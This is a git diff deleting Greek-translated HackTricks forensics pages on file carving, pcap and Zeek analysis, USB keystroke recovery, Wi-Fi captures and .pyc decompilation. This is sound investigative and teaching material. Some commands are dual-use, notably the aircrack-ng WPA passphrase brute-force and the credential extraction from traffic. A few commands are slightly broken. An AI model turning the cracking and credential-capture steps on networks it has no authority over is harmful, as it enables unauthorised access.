[κώδικα](https://code.google.com/archive/p/binvis/) και την [ιστοσελίδα εργαλείου](https://binvis.io/#/). - -#### Χαρακτηριστικά του BinVis - -- Οπτικός και ενεργός **θεατής δομής** -- Πολλαπλά διαγράμματα για διαφορετικά σημεία εστίασης -- Εστίαση σε τμήματα ενός δείγματος -- **Βλέποντας συμβολοσειρές και πόρους**, σε εκτελέσιμα PE ή ELF π.χ. -- Λήψη **μοτίβων** για κρυπτοανάλυση σε αρχεία -- **Εντοπισμός** αλγορίθμων συμπίεσης ή κωδικοποίησης -- **Αναγνώριση** Στεγανότητας μέσω μοτίβων -- **Οπτική** διαφορά δυαδικών αρχείων - -Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο black-boxing. - -## Ειδικά Εργαλεία Κατασκευής Δεδομένων - -### FindAES - -Αναζητά κλειδιά AES αναζητώντας τα χρονοδιαγράμματα κλειδιών τους. Ικανό να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker. - -Κατεβάστε [εδώ](https://sourceforge.net/projects/findaes/). - -## Συμπληρωματικά εργαλεία - -Μπορείτε να χρησιμοποιήσετε το [**viu**](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\ -Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md deleted file mode 100644 index cebacfef4..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ /dev/null @@ -1,65 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -# Εργαλεία Carving - -## Autopsy - -Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει δισκοειδείς εικόνες και άλλου τύπου εικόνες, αλλά όχι απλά αρχεία. - -## Binwalk - -**Binwalk** είναι ένα εργαλείο για την αναζήτηση δυαδικών αρχείων όπως εικόνες και αρχεία ήχου για ενσωματωμένα αρχεία και δεδομένα. Μπορεί να εγκατασταθεί με `apt`, ωστόσο η [πηγή](https://github.com/ReFirmLabs/binwalk) μπορεί να βρεθεί στο github. -**Χρήσιμες εντολές**: -```bash -sudo apt install binwalk #Insllation -binwalk file #Displays the embedded data in the given file -binwalk -e file #Displays and extracts some files from the given file -binwalk --dd ".*" file #Displays and extracts all files from the given file -``` -## Foremost - -Ένα άλλο κοινό εργαλείο για να βρείτε κρυφά αρχεία είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε να αναζητήσετε συγκεκριμένα αρχεία, αποσχολιάστε τα. Αν δεν αποσχολιάσετε τίποτα, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που είναι ρυθμισμένοι. -```bash -sudo apt-get install foremost -foremost -v -i file.img -o output -#Discovered files will appear inside the folder "output" -``` -## **Scalpel** - -**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αφαιρέσετε το σχόλιο από το αρχείο ρυθμίσεων \(_/etc/scalpel/scalpel.conf_\) τους τύπους αρχείων που θέλετε να εξάγει. -```bash -sudo apt-get install scalpel -scalpel file.img -o output -``` -## Bulk Extractor - -Αυτό το εργαλείο έρχεται μέσα στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, mails)** και περισσότερα **αρχεία**. Πρέπει απλώς να κάνετε: -```text -bulk_extractor memory.img -o out_folder -``` -Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο \(κωδικοί πρόσβασης;\), **αναλύστε** τα **πακέτα** \(διαβάστε [ **Ανάλυση Pcaps**](../pcap-inspection/index.html)\), αναζητήστε **παράξενους τομείς** \(τομείς που σχετίζονται με **malware** ή **μη υπάρχοντες**\). - -## PhotoRec - -Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) - -Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec. - -![](../../../images/image%20%28524%29.png) - -# Ειδικά Εργαλεία Κατασκευής Δεδομένων - -## FindAES - -Αναζητά κλειδιά AES αναζητώντας τα χρονοδιαγράμματα κλειδιών τους. Ικανό να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker. - -Κατεβάστε [εδώ](https://sourceforge.net/projects/findaes/). - -# Συμπληρωματικά εργαλεία - -Μπορείτε να χρησιμοποιήσετε [**viu** ](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό. -Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md deleted file mode 100644 index f3e4f7115..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ /dev/null @@ -1,212 +0,0 @@ -# Pcap Inspection - -{{#include ../../../banners/hacktricks-training.md}} - -> [!NOTE] -> Μια σημείωση σχετικά με το **PCAP** και το **PCAPNG**: υπάρχουν δύο εκδόσεις της μορφής αρχείου PCAP; **Το PCAPNG είναι πιο νέο και δεν υποστηρίζεται από όλα τα εργαλεία**. Μπορεί να χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή κάποιο άλλο συμβατό εργαλείο, προκειμένου να εργαστείτε με αυτό σε άλλα εργαλεία. - -## Online tools for pcaps - -- Αν η κεφαλίδα του pcap σας είναι **κατεστραμμένη**, θα πρέπει να προσπαθήσετε να την **διορθώσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Εξαγάγετε **πληροφορίες** και αναζητήστε **malware** μέσα σε ένα pcap στο [**PacketTotal**](https://packettotal.com) -- Αναζητήστε **κακόβουλη δραστηριότητα** χρησιμοποιώντας [**www.virustotal.com**](https://www.virustotal.com) και [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) - -## Extract Information - -Τα παρακάτω εργαλεία είναι χρήσιμα για την εξαγωγή στατιστικών, αρχείων κ.λπ. - -### Wireshark - -> [!NOTE] -> **Αν πρόκειται να αναλύσετε ένα PCAP, πρέπει βασικά να ξέρετε πώς να χρησιμοποιείτε το Wireshark** - -Μπορείτε να βρείτε μερικά κόλπα του Wireshark στο: - -{{#ref}} -wireshark-tricks.md -{{#endref}} - -### Xplico Framework - -[**Xplico** ](https://github.com/xplico/xplico)_(μόνο linux)_ μπορεί να **αναλύσει** ένα **pcap** και να εξαγάγει πληροφορίες από αυτό. Για παράδειγμα, από ένα αρχείο pcap, το Xplico εξάγει κάθε email (πρωτόκολλα POP, IMAP και SMTP), όλα τα περιεχόμενα HTTP, κάθε κλήση VoIP (SIP), FTP, TFTP, κ.λπ. - -**Εγκατάσταση** -```bash -sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' -sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE -sudo apt-get update -sudo apt-get install xplico -``` -**Εκτέλεση** -``` -/etc/init.d/apache2 restart -/etc/init.d/xplico start -``` -Η πρόσβαση στο _**127.0.0.1:9876**_ με διαπιστευτήρια _**xplico:xplico**_ - -Στη συνέχεια, δημιουργήστε μια **νέα υπόθεση**, δημιουργήστε μια **νέα συνεδρία** μέσα στην υπόθεση και **ανεβάστε το pcap** αρχείο. - -### NetworkMiner - -Όπως το Xplico, είναι ένα εργαλείο για **ανάλυση και εξαγωγή αντικειμένων από pcaps**. Έχει μια δωρεάν έκδοση που μπορείτε να **κατεβάσετε** [**εδώ**](https://www.netresec.com/?page=NetworkMiner). Λειτουργεί με **Windows**.\ -Αυτό το εργαλείο είναι επίσης χρήσιμο για να αποκτήσετε **άλλες πληροφορίες που αναλύονται** από τα πακέτα προκειμένου να γνωρίζετε τι συνέβαινε με **ταχύτερο** τρόπο. - -### NetWitness Investigator - -Μπορείτε να κατεβάσετε [**NetWitness Investigator από εδώ**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Λειτουργεί σε Windows)**.\ -Αυτό είναι ένα άλλο χρήσιμο εργαλείο που **αναλύει τα πακέτα** και ταξινομεί τις πληροφορίες με χρήσιμο τρόπο για να **γνωρίζετε τι συμβαίνει μέσα**. - -### [BruteShark](https://github.com/odedshimon/BruteShark) - -- Εξαγωγή και κωδικοποίηση ονομάτων χρηστών και κωδικών πρόσβασης (HTTP, FTP, Telnet, IMAP, SMTP...) -- Εξαγωγή κατακερματισμένων κωδικών αυθεντικοποίησης και σπάσιμο τους χρησιμοποιώντας το Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Δημιουργία οπτικού διαγράμματος δικτύου (Κόμβοι δικτύου & χρήστες) -- Εξαγωγή ερωτημάτων DNS -- Ανακατασκευή όλων των TCP & UDP Συνεδριών -- File Carving - -### Capinfos -``` -capinfos capture.pcap -``` -### Ngrep - -Αν **ψάχνετε** για **κάτι** μέσα στο pcap μπορείτε να χρησιμοποιήσετε **ngrep**. Ακολουθεί ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα: -```bash -ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" -``` -### Carving - -Η χρήση κοινών τεχνικών carving μπορεί να είναι χρήσιμη για την εξαγωγή αρχείων και πληροφοριών από το pcap: - -{{#ref}} -../partitions-file-systems-carving/file-data-carving-recovery-tools.md -{{#endref}} - -### Capturing credentials - -Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) για να αναλύσετε διαπιστευτήρια από ένα pcap ή μια ζωντανή διεπαφή. - -## Check Exploits/Malware - -### Suricata - -**Εγκατάσταση και ρύθμιση** -``` -apt-get install suricata -apt-get install oinkmaster -echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf -oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules -``` -**Έλεγχος pcap** -``` -suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log -``` -### YaraPcap - -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) είναι ένα εργαλείο που - -- Διαβάζει ένα αρχείο PCAP και εξάγει ροές Http. -- Το gzip αποσυμπιέζει οποιεσδήποτε συμπιεσμένες ροές -- Σαρώσει κάθε αρχείο με yara -- Γράφει ένα report.txt -- Προαιρετικά αποθηκεύει τα αρχεία που ταιριάζουν σε έναν φάκελο - -### Malware Analysis - -Ελέγξτε αν μπορείτε να βρείτε οποιοδήποτε αποτύπωμα γνωστού κακόβουλου λογισμικού: - -{{#ref}} -../malware-analysis.md -{{#endref}} - -## Zeek - -> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένας παθητικός, ανοιχτού κώδικα αναλυτής δικτυακής κίνησης. Πολλοί χειριστές χρησιμοποιούν το Zeek ως Δίκτυο Ασφαλείας Monitor (NSM) για να υποστηρίξουν τις έρευνες για ύποπτη ή κακόβουλη δραστηριότητα. Το Zeek υποστηρίζει επίσης μια ευρεία γκάμα εργασιών ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης απόδοσης και της αποσφαλμάτωσης. - -Βασικά, τα αρχεία καταγραφής που δημιουργούνται από το `zeek` δεν είναι **pcaps**. Επομένως, θα χρειαστεί να χρησιμοποιήσετε **άλλα εργαλεία** για να αναλύσετε τα αρχεία καταγραφής όπου οι **πληροφορίες** σχετικά με τα pcaps είναι. - -### Connections Info -```bash -#Get info about longest connections (add "grep udp" to see only udp traffic) -#The longest connection might be of malware (constant reverse shell?) -cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10 - -10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445 -10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151 -10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664 - - -#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port. -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10 - -10.55.100.100 65.52.108.225 443 tcp 86222.4 -10.55.100.107 111.221.29.113 443 tcp 86220.1 -10.55.100.110 40.77.229.82 443 tcp 86160.1 - -#Get the number of connections summed up per each line -cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10 - -10.55.100.100 65.52.108.225 1 86222.4 -10.55.100.107 111.221.29.113 1 86220.1 -10.55.100.110 40.77.229.82 134 86160.1 - -#Check if any IP is connecting to 1.1.1.1 -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c - -#Get number of connections per source IP, dest IP and dest Port -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10 - - -# RITA -#Something similar can be done with the tool rita -rita show-long-connections -H --limit 10 zeek_logs - -+---------------+----------------+--------------------------+----------------+ -| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION | -+---------------+----------------+--------------------------+----------------+ -| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s | -| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s | -| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s | - -#Get connections info from rita -rita show-beacons zeek_logs | head -n 10 -Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion -1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0 -1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 -0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 -``` -### Πληροφορίες DNS -```bash -#Get info about each DNS request performed -cat dns.log | zeek-cut -c id.orig_h query qtype_name answers - -#Get the number of times each domain was requested and get the top 10 -cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10 - -#Get all the IPs -cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c - -#Sort the most common DNS record request (should be A) -cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr - -#See top DNS domain requested with rita -rita show-exploded-dns -H --limit 10 zeek_logs -``` -## Άλλες τεχνικές ανάλυσης pcap - -{{#ref}} -dnscat-exfiltration.md -{{#endref}} - -{{#ref}} -wifi-pcap-analysis.md -{{#endref}} - -{{#ref}} -usb-keystrokes.md -{{#endref}} - -​ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md deleted file mode 100644 index 6ad8b7470..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ /dev/null @@ -1,14 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Αν έχετε ένα pcap μιας σύνδεσης USB με πολλές διακοπές, πιθανότατα είναι μια σύνδεση USB πληκτρολογίου. - -Ένας φίλτρο wireshark όπως αυτός θα μπορούσε να είναι χρήσιμος: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` - -Είναι σημαντικό να γνωρίζετε ότι τα δεδομένα που ξεκινούν με "02" πατιούνται χρησιμοποιώντας shift. - -Μπορείτε να διαβάσετε περισσότερες πληροφορίες και να βρείτε μερικά σενάρια σχετικά με το πώς να αναλύσετε αυτό σε: - -- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md deleted file mode 100644 index 32b76f611..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ /dev/null @@ -1,17 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Αν έχετε ένα pcap που περιέχει την επικοινωνία μέσω USB ενός πληκτρολογίου όπως το παρακάτω: - -![](<../../../images/image (613).png>) - -Μπορείτε να χρησιμοποιήσετε το εργαλείο [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) για να αποκτήσετε ό,τι γράφτηκε στην επικοινωνία: -```bash -tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt -python3 usbkeyboard.py ./keystrokes.txt -``` -Μπορείτε να διαβάσετε περισσότερες πληροφορίες και να βρείτε μερικά σενάρια σχετικά με το πώς να αναλύσετε αυτό σε: - -- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md deleted file mode 100644 index 21fee567c..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ /dev/null @@ -1,39 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -# Έλεγχος BSSIDs - -Όταν λάβετε μια καταγραφή της οποίας η κύρια κίνηση είναι Wifi χρησιμοποιώντας το WireShark, μπορείτε να αρχίσετε να ερευνάτε όλα τα SSIDs της καταγραφής με _Wireless --> WLAN Traffic_: - -![](<../../../images/image (424).png>) - -![](<../../../images/image (425).png>) - -## Brute Force - -Μία από τις στήλες της οθόνης αυτής υποδεικνύει αν **βρέθηκε οποιαδήποτε αυθεντικοποίηση μέσα στο pcap**. Αν αυτό ισχύει, μπορείτε να προσπαθήσετε να το σπάσετε με brute force χρησιμοποιώντας το `aircrack-ng`: -```bash -aircrack-ng -w pwds-file.txt -b file.pcap -``` -Για παράδειγμα, θα ανακτήσει το WPA passphrase που προστατεύει ένα PSK (προ-μοιρασμένο κλειδί), το οποίο θα απαιτηθεί για να αποκρυπτογραφήσετε την κίνηση αργότερα. - -# Δεδομένα σε Beacons / Παράπλευρη Κανάλι - -Εάν υποψιάζεστε ότι **δεδομένα διαρρέουν μέσα σε beacons ενός Wifi δικτύου**, μπορείτε να ελέγξετε τα beacons του δικτύου χρησιμοποιώντας ένα φίλτρο όπως το παρακάτω: `wlan contains `, ή `wlan.ssid == "NAMEofNETWORK"` αναζητώντας μέσα στα φιλτραρισμένα πακέτα για ύποπτες αλυσίδες. - -# Βρείτε Άγνωστες Διευθύνσεις MAC σε Ένα Wifi Δίκτυο - -Ο παρακάτω σύνδεσμος θα είναι χρήσιμος για να βρείτε τις **μηχανές που στέλνουν δεδομένα μέσα σε ένα Wifi Δίκτυο**: - -- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` - -Εάν ήδη γνωρίζετε **διευθύνσεις MAC μπορείτε να τις αφαιρέσετε από την έξοδο** προσθέτοντας ελέγχους όπως αυτόν: `&& !(wlan.addr==5c:51:88:31:a0:3b)` - -Μόλις εντοπίσετε **άγνωστες διευθύνσεις MAC** που επικοινωνούν μέσα στο δίκτυο, μπορείτε να χρησιμοποιήσετε **φίλτρα** όπως το παρακάτω: `wlan.addr== && (ftp || http || ssh || telnet)` για να φιλτράρετε την κίνησή τους. Σημειώστε ότι τα φίλτρα ftp/http/ssh/telnet είναι χρήσιμα αν έχετε αποκρυπτογραφήσει την κίνηση. - -# Αποκρυπτογράφηση Κίνησης - -Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit - -![](<../../../images/image (426).png>) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md deleted file mode 100644 index 268d8c571..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ /dev/null @@ -1,202 +0,0 @@ -# Αποσυμπίεση των συμπιεσμένων εκτελέσιμων αρχείων python (exe, elf) - Ανάκτηση από .pyc - -{{#include ../../../banners/hacktricks-training.md}} - - -## Από Συμπιεσμένο Εκτελέσιμο σε .pyc - -Από ένα **ELF** συμπιεσμένο εκτελέσιμο μπορείτε να **πάρετε το .pyc** με: -```bash -pyi-archive_viewer -# The list of python modules will be given here: -[(0, 230, 311, 1, 'm', 'struct'), -(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), -(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), -(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), -(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), -(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), -(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), -(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), -(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), -(15535, 2514, 4421, 1, 's', 'binary_name'), -... - -? X binary_name -to filename? /tmp/binary.pyc -``` -Σε ένα **python exe binary** που έχει μεταγλωττιστεί, μπορείτε να **πάρετε το .pyc** εκτελώντας: -```bash -python pyinstxtractor.py executable.exe -``` -## Από .pyc σε κώδικα python - -Για τα **.pyc** δεδομένα ("συμπιεσμένος" python) θα πρέπει να ξεκινήσετε προσπαθώντας να **εξαγάγετε** τον **αρχικό** **κώδικα** **python**: -```bash -uncompyle6 binary.pyc > decompiled.py -``` -**Βεβαιωθείτε** ότι το δυαδικό αρχείο έχει την **επέκταση** "**.pyc**" (αν όχι, το uncompyle6 δεν θα λειτουργήσει) - -Κατά την εκτέλεση του **uncompyle6** μπορεί να συναντήσετε τα **παρακάτω σφάλματα**: - -### Σφάλμα: Άγνωστος μαγικός αριθμός 227 -```bash -/kali/.local/bin/uncompyle6 /tmp/binary.pyc -Unknown magic number 227 in /tmp/binary.pyc -``` -Για να το διορθώσετε, πρέπει να **προσθέσετε τον σωστό μαγικό αριθμό** στην αρχή του παραγόμενου αρχείου. - -**Οι μαγικοί αριθμοί διαφέρουν ανάλογα με την έκδοση της python**, για να αποκτήσετε τον μαγικό αριθμό της **python 3.8** θα χρειαστεί να **ανοίξετε ένα τερματικό python 3.8** και να εκτελέσετε: -``` ->> import imp ->> imp.get_magic().hex() -'550d0d0a' -``` -Ο **μαγικός αριθμός** σε αυτή την περίπτωση για python3.8 είναι **`0x550d0d0a`**, στη συνέχεια, για να διορθώσετε αυτό το σφάλμα θα χρειαστεί να **προσθέσετε** στην **αρχή** του **.pyc αρχείου** τα εξής bytes: `0x0d550a0d000000000000000000000000` - -**Μόλις** έχετε **προσθέσει** αυτή την μαγική κεφαλίδα, το **σφάλμα θα πρέπει να διορθωθεί.** - -Έτσι θα φαίνεται μια σωστά προστιθέμενη **.pyc python3.8 μαγική κεφαλίδα**: -```bash -hexdump 'binary.pyc' | head -0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 -0000010 00e3 0000 0000 0000 0000 0000 0000 0000 -0000020 0700 0000 4000 0000 7300 0132 0000 0064 -0000030 0164 006c 005a 0064 0164 016c 015a 0064 -``` -### Σφάλμα: Αποσυμπίεση γενικών σφαλμάτων - -**Άλλα σφάλματα** όπως: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` μπορεί να εμφανιστούν. - -Αυτό πιθανώς σημαίνει ότι **δεν έχετε προσθέσει σωστά** τον μαγικό αριθμό ή ότι δεν έχετε **χρησιμοποιήσει** τον **σωστό μαγικό αριθμό**, οπότε βεβαιωθείτε ότι χρησιμοποιείτε τον σωστό (ή δοκιμάστε έναν νέο). - -Ελέγξτε την τεκμηρίωση σφαλμάτων. - -## Αυτόματο Εργαλείο - -Το [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) λειτουργεί ως συνδυασμός αρκετών εργαλείων διαθέσιμων στην κοινότητα που έχουν σχεδιαστεί για να βοηθήσουν τους ερευνητές στην αποσυμπίεση και αποσυμπίεση εκτελέσιμων αρχείων γραμμένων σε Python, συγκεκριμένα αυτών που δημιουργήθηκαν με py2exe και pyinstaller. Περιλαμβάνει κανόνες YARA για να προσδιορίσει αν ένα εκτελέσιμο είναι βασισμένο σε Python και επιβεβαιώνει το εργαλείο δημιουργίας. - -### ImportError: Όνομα αρχείου: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' δεν υπάρχει - -Ένα κοινό πρόβλημα που συναντάται περιλαμβάνει ένα ατελές αρχείο bytecode Python που προκύπτει από τη **διαδικασία αποσυμπίεσης με unpy2exe ή pyinstxtractor**, το οποίο στη συνέχεια **αποτυγχάνει να αναγνωριστεί από το uncompyle6 λόγω έλλειψης αριθμού έκδοσης bytecode Python**. Για να αντιμετωπιστεί αυτό, έχει προστεθεί μια επιλογή prepend, η οποία προσθέτει τον απαραίτητο αριθμό έκδοσης bytecode Python, διευκολύνοντας τη διαδικασία αποσυμπίεσης. - -Παράδειγμα του προβλήματος: -```python -# Error when attempting to decompile without the prepend option -test@test: uncompyle6 unpacked/malware_3.exe/archive.py -Traceback (most recent call last): -... -ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist -``` - -```python -# Successful decompilation after using the prepend option -test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive -[*] On Python 2.7 -[+] Magic bytes are already appended. - -# Successfully decompiled file -[+] Successfully decompiled. -``` -## Ανάλυση της συναρμολόγησης python - -Αν δεν μπορέσατε να εξαγάγετε τον "αρχικό" κώδικα python ακολουθώντας τα προηγούμενα βήματα, τότε μπορείτε να προσπαθήσετε να **εξαγάγετε** τη **συναρμολόγηση** (αλλά **δεν είναι πολύ περιγραφική**, οπότε **προσπαθήστε** να εξαγάγετε **ξανά** τον αρχικό κώδικα). Στο [εδώ](https://bits.theorem.co/protecting-a-python-codebase/) βρήκα έναν πολύ απλό κώδικα για να **αποσυναρμολογήσετε** το _.pyc_ δυαδικό (καλή τύχη στην κατανόηση της ροής του κώδικα). Αν το _.pyc_ είναι από python2, χρησιμοποιήστε python2: -```bash ->>> import dis ->>> import marshal ->>> import struct ->>> import imp ->>> ->>> with open('hello.pyc', 'r') as f: # Read the binary file -... magic = f.read(4) -... timestamp = f.read(4) -... code = f.read() -... ->>> ->>> # Unpack the structured content and un-marshal the code ->>> magic = struct.unpack('>> timestamp = struct.unpack('>> code = marshal.loads(code) ->>> magic, timestamp, code -((62211,), (1425911959,), at 0x7fd54f90d5b0, file "hello.py", line 1>) ->>> ->>> # Verify if the magic number corresponds with the current python version ->>> struct.unpack('>> ->>> # Disassemble the code object ->>> dis.disassemble(code) -1 0 LOAD_CONST 0 () -3 MAKE_FUNCTION 0 -6 STORE_NAME 0 (hello_world) -9 LOAD_CONST 1 (None) -12 RETURN_VALUE ->>> 